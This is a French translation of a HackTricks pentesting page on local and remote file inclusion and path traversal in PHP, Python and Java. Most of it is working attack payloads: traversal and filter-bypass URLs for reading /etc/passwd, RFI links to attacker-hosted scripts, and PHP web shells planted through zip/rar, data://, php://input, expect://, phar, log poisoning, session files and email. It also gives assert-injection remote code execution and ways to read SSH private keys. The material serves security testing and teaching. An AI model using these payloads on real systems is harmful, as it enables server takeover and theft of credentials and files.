mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
649 lines
35 KiB
Markdown
649 lines
35 KiB
Markdown
# Inclusion de fichiers / Traversée de chemin
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
|
|
|
|
🐞 Lisez les tutoriels de bugs web3
|
|
|
|
🔔 Recevez des notifications sur les nouveaux programmes de primes de bugs
|
|
|
|
💬 Participez aux discussions de la communauté
|
|
|
|
## Inclusion de fichiers
|
|
|
|
**Inclusion de fichiers distants (RFI) :** Le fichier est chargé à partir d'un serveur distant (meilleur : vous pouvez écrire le code et le serveur l'exécutera). En PHP, cela est **désactivé** par défaut (**allow\_url\_include**).\
|
|
**Inclusion de fichiers locaux (LFI) :** Le serveur charge un fichier local.
|
|
|
|
La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.
|
|
|
|
Fonctions PHP vulnérables : require, require\_once, include, include\_once
|
|
|
|
Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
|
|
|
## Aveugle - Intéressant - Fichiers LFI2RCE
|
|
```python
|
|
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
|
```
|
|
### **Linux**
|
|
|
|
En mélangeant plusieurs listes LFI \*nix et en ajoutant plus de chemins, j'ai créé celle-ci :
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
|
|
|
Essayez également de changer `/` pour `\`\
|
|
Essayez également d'ajouter `../../../../../`
|
|
|
|
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
|
|
|
### **Windows**
|
|
|
|
En fusionnant plusieurs listes, j'ai créé celle-ci :
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
|
|
|
Essayez également de changer `/` pour `\`\
|
|
Essayez également de supprimer `C:/` et d'ajouter `../../../../../`
|
|
|
|
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
|
|
|
### **OS X**
|
|
|
|
Vérifiez la liste LFI de Linux.
|
|
|
|
## LFI de base et contournements
|
|
|
|
Tous les exemples sont pour l'inclusion de fichiers locaux, mais peuvent également être appliqués à l'inclusion de fichiers distants (page=[http://monserveur.com/phpshellcode.txt\\](http://monserveur.com/phpshellcode.txt\)/).
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd
|
|
```
|
|
### Séquences de traversée dépouillées de manière non récursive
|
|
```python
|
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
|
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|
```
|
|
### **Octet nul (%00)**
|
|
|
|
Contourner l'ajout de caractères à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd%00
|
|
```
|
|
Ceci est **résolu depuis PHP 5.4**
|
|
|
|
### **Encodage**
|
|
|
|
Vous pouvez utiliser des encodages non standard tels que l'encodage double URL (et d'autres):
|
|
```
|
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|
```
|
|
### À partir d'un dossier existant
|
|
|
|
Il se peut que le back-end vérifie le chemin du dossier :
|
|
```python
|
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|
```
|
|
### Identification des dossiers sur un serveur
|
|
|
|
En fonction du code applicatif / des caractères autorisés, il est peut-être possible d'explorer de manière récursive le système de fichiers en découvrant des dossiers et pas seulement des fichiers. Pour ce faire :
|
|
|
|
* identifier la "profondeur" de votre répertoire actuel en récupérant avec succès `/etc/passwd` (si sous Linux) :
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|
```
|
|
* Essayez de deviner le nom d'un dossier dans le répertoire actuel en ajoutant le nom du dossier (ici, `private`), puis en retournant à `/etc/passwd`:
|
|
```
|
|
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
|
|
```
|
|
* Si l'application est vulnérable, il peut y avoir deux résultats différents pour la requête :
|
|
* Si vous obtenez une erreur / aucune sortie, le dossier `private` n'existe pas à cet emplacement
|
|
* Si vous obtenez le contenu de `/etc/passwd`, vous avez validé qu'il y a effectivement un dossier `private` dans votre répertoire courant
|
|
* Le(s) dossier(s) que vous avez découvert(s) en utilisant cette technique peuvent ensuite être fuzzés pour des fichiers (en utilisant une méthode LFI classique) ou pour des sous-répertoires en utilisant la même technique de manière récursive.
|
|
|
|
Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, dans la même hypothèse (répertoire courant à une profondeur de 3 dans le système de fichiers), vous voulez vérifier si `/var/www/` contient un répertoire `private`, utilisez la charge utile suivante :
|
|
```
|
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|
```
|
|
La séquence de commandes suivante permet de générer des charges utiles en utilisant `sed` (1) comme entrée pour des outils de fuzzing d'URL tels que `ffuf` (2) :
|
|
```
|
|
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
|
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
|
```
|
|
### **Troncature de chemin d'accès**
|
|
|
|
Contournez l'ajout de plus de caractères à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
|
```
|
|
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
|
Check if last 6 chars are passwd --> passwd/
|
|
Check if last 4 chars are ".php" --> shellcode.php/.
|
|
```
|
|
|
|
```
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
|
|
|
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
|
|
|
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
|
```
|
|
Essayez toujours de **commencer** le chemin avec un faux répertoire (a/).
|
|
|
|
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
|
|
|
|
### **Astuces de contournement de filtres**
|
|
```
|
|
http://example.com/index.php?page=....//....//etc/passwd
|
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
|
```
|
|
## RFI Basique
|
|
|
|
### Description
|
|
|
|
### Description
|
|
|
|
Remote File Inclusion (RFI) is a type of vulnerability most commonly found in web applications. It allows an attacker to include a remote file, usually through a script on the web server. This can lead to the execution of arbitrary code on the server, which can result in a full compromise of the system.
|
|
|
|
L'inclusion de fichier à distance (RFI) est un type de vulnérabilité le plus souvent trouvé dans les applications web. Elle permet à un attaquant d'inclure un fichier distant, généralement via un script sur le serveur web. Cela peut conduire à l'exécution de code arbitraire sur le serveur, ce qui peut entraîner une compromission complète du système.
|
|
|
|
### Exploitation
|
|
|
|
### Exploitation
|
|
|
|
The basic RFI attack involves injecting a URL that points to a remote file into a vulnerable parameter on the target web application. For example, if the application includes a file using the PHP `include()` function, an attacker could inject a URL that points to a malicious PHP script hosted on a remote server.
|
|
|
|
L'attaque RFI de base consiste à injecter une URL qui pointe vers un fichier distant dans un paramètre vulnérable de l'application web cible. Par exemple, si l'application inclut un fichier en utilisant la fonction `include()` de PHP, un attaquant pourrait injecter une URL qui pointe vers un script PHP malveillant hébergé sur un serveur distant.
|
|
|
|
```
|
|
http://example.com/index.php?page=http://attacker.com/malicious.php
|
|
```
|
|
|
|
When the vulnerable page is requested, the server will include the remote file specified in the `page` parameter, executing any code contained within it.
|
|
|
|
Lorsque la page vulnérable est demandée, le serveur inclura le fichier distant spécifié dans le paramètre `page`, exécutant tout code qu'il contient.
|
|
|
|
### Prevention
|
|
|
|
### Prévention
|
|
|
|
To prevent RFI attacks, it is important to properly validate and sanitize all user input, especially input that is used to construct file paths or URLs. Additionally, it is recommended to disable the `allow_url_include` and `allow_url_fopen` settings in PHP, which can be used to include remote files.
|
|
|
|
Pour prévenir les attaques RFI, il est important de valider et de nettoyer correctement toutes les entrées utilisateur, en particulier les entrées qui sont utilisées pour construire des chemins de fichiers ou des URL. De plus, il est recommandé de désactiver les paramètres `allow_url_include` et `allow_url_fopen` dans PHP, qui peuvent être utilisés pour inclure des fichiers distants.
|
|
```python
|
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
|
```
|
|
## Élément racine Python
|
|
|
|
En Python, dans un code comme celui-ci :
|
|
```python
|
|
# file_name is controlled by a user
|
|
os.path.join(os.getcwd(), "public", file_name)
|
|
```
|
|
Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin précédent est simplement supprimé** :
|
|
```python
|
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|
'/etc/passwd'
|
|
```
|
|
Il s'agit du comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
|
|
|
> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jointure continue à partir du composant de chemin absolu.
|
|
|
|
## Liste des répertoires Java
|
|
|
|
Il semble que si vous avez une Traversal de chemin dans Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela ne se produira pas dans d'autres langues (à ma connaissance).
|
|
|
|
## Top 25 des paramètres
|
|
|
|
Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichier local (LFI) (à partir de [ce lien](https://twitter.com/trbughunters/status/1279768631845494787)):
|
|
```
|
|
?cat={payload}
|
|
?dir={payload}
|
|
?action={payload}
|
|
?board={payload}
|
|
?date={payload}
|
|
?detail={payload}
|
|
?file={payload}
|
|
?download={payload}
|
|
?path={payload}
|
|
?folder={payload}
|
|
?prefix={payload}
|
|
?include={payload}
|
|
?page={payload}
|
|
?inc={payload}
|
|
?locate={payload}
|
|
?show={payload}
|
|
?doc={payload}
|
|
?site={payload}
|
|
?type={payload}
|
|
?view={payload}
|
|
?content={payload}
|
|
?document={payload}
|
|
?layout={payload}
|
|
?mod={payload}
|
|
?conf={payload}
|
|
```
|
|
## LFI / RFI en utilisant des enveloppes et des protocoles PHP
|
|
|
|
### php://filter
|
|
|
|
Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant leur lecture ou leur écriture. Il existe 5 catégories de filtres :
|
|
|
|
* [Filtres de chaîne](https://www.php.net/manual/en/filters.string.php) :
|
|
* `string.rot13`
|
|
* `string.toupper`
|
|
* `string.tolower`
|
|
* `string.strip_tags` : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
|
|
* Notez que ce filtre a disparu des versions modernes de PHP
|
|
* [Filtres de conversion](https://www.php.net/manual/en/filters.convert.php)
|
|
* `convert.base64-encode`
|
|
* `convert.base64-decode`
|
|
* `convert.quoted-printable-encode`
|
|
* `convert.quoted-printable-decode`
|
|
* `convert.iconv.*` : Transforme en une autre codification (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de toutes les codifications** prises en charge, exécutez dans la console : `iconv -l`
|
|
|
|
{% hint style="warning" %}
|
|
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme l'inclusion traite du texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
|
{% endhint %}
|
|
|
|
* [Filtres de compression](https://www.php.net/manual/en/filters.compression.php)
|
|
* `zlib.deflate` : Compresse le contenu (utile si vous exfiltrez beaucoup d'informations)
|
|
* `zlib.inflate` : Décompresse les données
|
|
* [Filtres de chiffrement](https://www.php.net/manual/en/filters.encryption.php)
|
|
* `mcrypt.*` : Obsolète
|
|
* `mdecrypt.*` : Obsolète
|
|
* Autres filtres
|
|
* En exécutant `var_dump(stream_get_filters());` en PHP, vous pouvez trouver quelques **filtres inattendus** :
|
|
* `consumed`
|
|
* `dechunk` : inverse le codage HTTP chunked
|
|
* `convert.*`
|
|
```php
|
|
# String Filters
|
|
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
|
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
|
## Same chain without the "|" char
|
|
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
|
## string.string_tags example
|
|
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
|
|
|
# Conversion filter
|
|
## B64 decode
|
|
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
|
## Chain B64 encode and decode
|
|
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
|
## convert.quoted-printable-encode example
|
|
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
|
=C2=A3hellooo=3D
|
|
## convert.iconv.utf-8.utf-16le
|
|
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
|
|
|
# Compresion Filter
|
|
## Compress + B64
|
|
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
|
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
|
```
|
|
{% hint style="warning" %}
|
|
La partie "php://filter" est insensible à la casse.
|
|
{% endhint %}
|
|
|
|
### php://fd
|
|
|
|
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
|
|
```php
|
|
echo file_get_contents("php://fd/3");
|
|
$myfile = fopen("/etc/passwd", "r");
|
|
```
|
|
Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder respectivement aux **descripteurs de fichiers 0, 1 et 2** (je ne suis pas sûr de l'utilité de cela dans une attaque).
|
|
|
|
### zip:// et rar://
|
|
|
|
Téléchargez un fichier Zip ou Rar contenant une PHPShell à l'intérieur et y accédez.\
|
|
Pour pouvoir abuser du protocole rar, il **doit être spécifiquement activé**.
|
|
```bash
|
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
|
zip payload.zip payload.php;
|
|
mv payload.zip shell.jpg;
|
|
rm payload.php
|
|
|
|
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
|
|
|
# To compress with rar
|
|
rar a payload.rar payload.php;
|
|
mv payload.rar shell.jpg;
|
|
rm payload.php
|
|
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|
```
|
|
### data://
|
|
|
|
La technique de l'inclusion de fichiers peut également être utilisée pour accéder à des fichiers stockés dans des URL de type `data://`. Ces URL sont utilisées pour stocker des données en base64 dans l'URL elle-même. Pour inclure un fichier à partir d'une URL de ce type, il suffit de spécifier l'URL dans le paramètre de l'application vulnérable.
|
|
|
|
Par exemple, pour inclure le contenu d'un fichier `file.txt` stocké en base64 dans l'URL `data://`, on peut utiliser la chaîne suivante :
|
|
|
|
```
|
|
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
|
|
```
|
|
|
|
Dans cet exemple, le contenu du fichier `file.txt` est `Hello, World!`. La chaîne `SGVsbG8sIFdvcmxkIQ%3D%3D` est la représentation en base64 de ce contenu.
|
|
|
|
Il est important de noter que l'utilisation de l'inclusion de fichiers avec des URL de type `data://` peut être limitée par la taille maximale de l'URL que l'application peut accepter.
|
|
```
|
|
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
```
|
|
Fait amusant : vous pouvez déclencher une XSS et contourner l'auditeur de Chrome avec : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
|
|
|
Notez que ce protocole est restreint par les configurations php **`allow_url_open`** et **`allow_url_include`**
|
|
|
|
### expect://
|
|
|
|
Expect doit être activé. Vous pouvez exécuter du code en utilisant cela.
|
|
```
|
|
http://example.com/index.php?page=expect://id
|
|
http://example.com/index.php?page=expect://ls
|
|
```
|
|
### input://
|
|
|
|
Spécifiez votre charge utile dans les paramètres POST.
|
|
```
|
|
http://example.com/index.php?page=php://input
|
|
POST DATA: <?php system('id'); ?>
|
|
```
|
|
### phar://
|
|
|
|
Un fichier `.phar` peut également être utilisé pour exécuter du code PHP si le site web utilise une fonction comme `include` pour charger le fichier.
|
|
|
|
{% code title="create_phar.php" %}
|
|
```python
|
|
<?php
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
|
|
|
$phar->stopBuffering();
|
|
```
|
|
{% endcode %}
|
|
|
|
Et vous pouvez compiler le `phar` en exécutant la ligne suivante:
|
|
```bash
|
|
php --define phar.readonly=0 create_path.php
|
|
```
|
|
Un fichier appelé `test.phar` sera généré que vous pouvez utiliser pour abuser de la LFI.
|
|
|
|
Si la LFI se contente de lire le fichier et de ne pas exécuter le code php à l'intérieur, par exemple en utilisant des fonctions telles que _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_, vous pouvez essayer d'abuser d'une **désérialisation** qui se produit lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\
|
|
Pour plus d'informations, lisez le post suivant :
|
|
|
|
{% content-ref url="phar-deserialization.md" %}
|
|
[phar-deserialization.md](phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Plus de protocoles
|
|
|
|
Vérifiez plus de [**protocoles à inclure ici**](https://www.php.net/manual/en/wrappers.php)**:**
|
|
|
|
* [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de savoir comment cela peut être utile dans une attaque d'inclusion de fichier)
|
|
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local
|
|
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URL HTTP(s)
|
|
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URL FTP(s)
|
|
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
|
|
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des noms de fichiers correspondant à un modèle (ne renvoie rien de lisible, donc pas vraiment utile ici)
|
|
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
|
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (pas utile pour lire des fichiers arbitraires)
|
|
|
|
## LFI via l'option 'assert' de PHP
|
|
|
|
Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée telles que ".." et répondre avec quelque chose du genre "Tentative de piratage" ou "Belle tentative !", une charge utile d'injection 'assert' peut fonctionner.
|
|
|
|
Une charge utile comme celle-ci :
|
|
```
|
|
' and die(show_source('/etc/passwd')) or '
|
|
```
|
|
réussira à exploiter le code PHP pour un paramètre "file" qui ressemble à ceci :
|
|
```bash
|
|
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
|
```
|
|
Il est également possible d'obtenir une RCE dans une déclaration "assert" vulnérable en utilisant la fonction system().
|
|
```
|
|
' and die(system("whoami")) or '
|
|
```
|
|
Assurez-vous d'encoder les charges utiles en URL avant de les envoyer.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
|
|
|
|
🐞 Lire les tutoriels de bugs web3
|
|
|
|
🔔 Recevoir des notifications sur les nouveaux programmes de primes de bugs
|
|
|
|
💬 Participer aux discussions de la communauté
|
|
|
|
## Traversée de chemin PHP aveugle
|
|
|
|
{% hint style="warning" %}
|
|
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin d'accès** d'une **fonction PHP** qui va **accéder à un fichier** mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
|
|
{% endhint %}
|
|
|
|
Dans [**ce post incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment une traversée de chemin aveugle peut être exploitée via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
|
|
|
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier si **gros** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
|
|
|
Ensuite, pour divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
|
|
|
|
**Fonctions qui pourraient être vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (seulement cibler en lecture seule avec cela)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
|
|
|
Pour les détails techniques, consultez le post mentionné !
|
|
|
|
## LFI2RCE
|
|
|
|
### RFI de base
|
|
```python
|
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
|
```
|
|
### Via le fichier journal Apache/Nginx
|
|
|
|
Si le serveur Apache ou Nginx est **vulnérable à LFI** à l'intérieur de la fonction d'inclusion, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, défini à l'intérieur de l'**agent utilisateur** ou à l'intérieur d'un **paramètre GET** une coquille php comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier.
|
|
|
|
{% hint style="warning" %}
|
|
Notez que **si vous utilisez des guillemets doubles** pour la coquille au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP lancera une erreur** et **rien d'autre ne sera exécuté**.
|
|
|
|
Assurez-vous également d'**écrire correctement la charge utile** ou PHP générera une erreur chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième chance.
|
|
{% endhint %}
|
|
|
|
Cela pourrait également être fait dans d'autres journaux, mais **soyez prudent**, le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la coquille. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé à l'intérieur des journaux. La PHPShell pourrait être insérée à l'intérieur de cet en-tête.\
|
|
Autres chemins de journal possibles:
|
|
```python
|
|
/var/log/apache2/access.log
|
|
/var/log/apache/access.log
|
|
/var/log/apache2/error.log
|
|
/var/log/apache/error.log
|
|
/usr/local/apache/log/error_log
|
|
/usr/local/apache2/log/error_log
|
|
/var/log/nginx/access.log
|
|
/var/log/nginx/error.log
|
|
/var/log/httpd/error_log
|
|
```
|
|
Liste de mots pour fuzzing : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
|
|
|
### Via Email
|
|
|
|
**Envoyez un mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez de l'inclure dans le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
|
|
|
### Via /proc/\*/fd/\*
|
|
|
|
1. Téléchargez beaucoup de shells (par exemple : 100)
|
|
2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé par bruteforce) et $FD le descripteur de fichier (peut être forcé par bruteforce aussi)
|
|
|
|
### Via /proc/self/environ
|
|
|
|
Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ
|
|
```
|
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
|
User-Agent: <?=phpinfo(); ?>
|
|
```
|
|
### Via téléchargement
|
|
|
|
Si vous pouvez télécharger un fichier, injectez simplement la charge utile de shell dedans (par exemple : `<?php system($_GET['c']); ?>`).
|
|
```
|
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
|
```
|
|
Afin de maintenir la lisibilité du fichier, il est préférable d'injecter dans les métadonnées des images/doc/pdf.
|
|
|
|
### Via l'upload de fichier Zip
|
|
|
|
Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez-y :
|
|
```python
|
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
|
```
|
|
### Via les sessions PHP
|
|
|
|
Vérifiez si le site web utilise des sessions PHP (PHPSESSID)
|
|
```
|
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
|
```
|
|
En PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
|
```
|
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
|
```
|
|
Définissez le cookie sur `<?php system('cat /etc/passwd');?>`
|
|
```
|
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|
```
|
|
Utilisez la LFI pour inclure le fichier de session PHP.
|
|
```
|
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
|
```
|
|
### Via ssh
|
|
|
|
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id\_rsa**
|
|
|
|
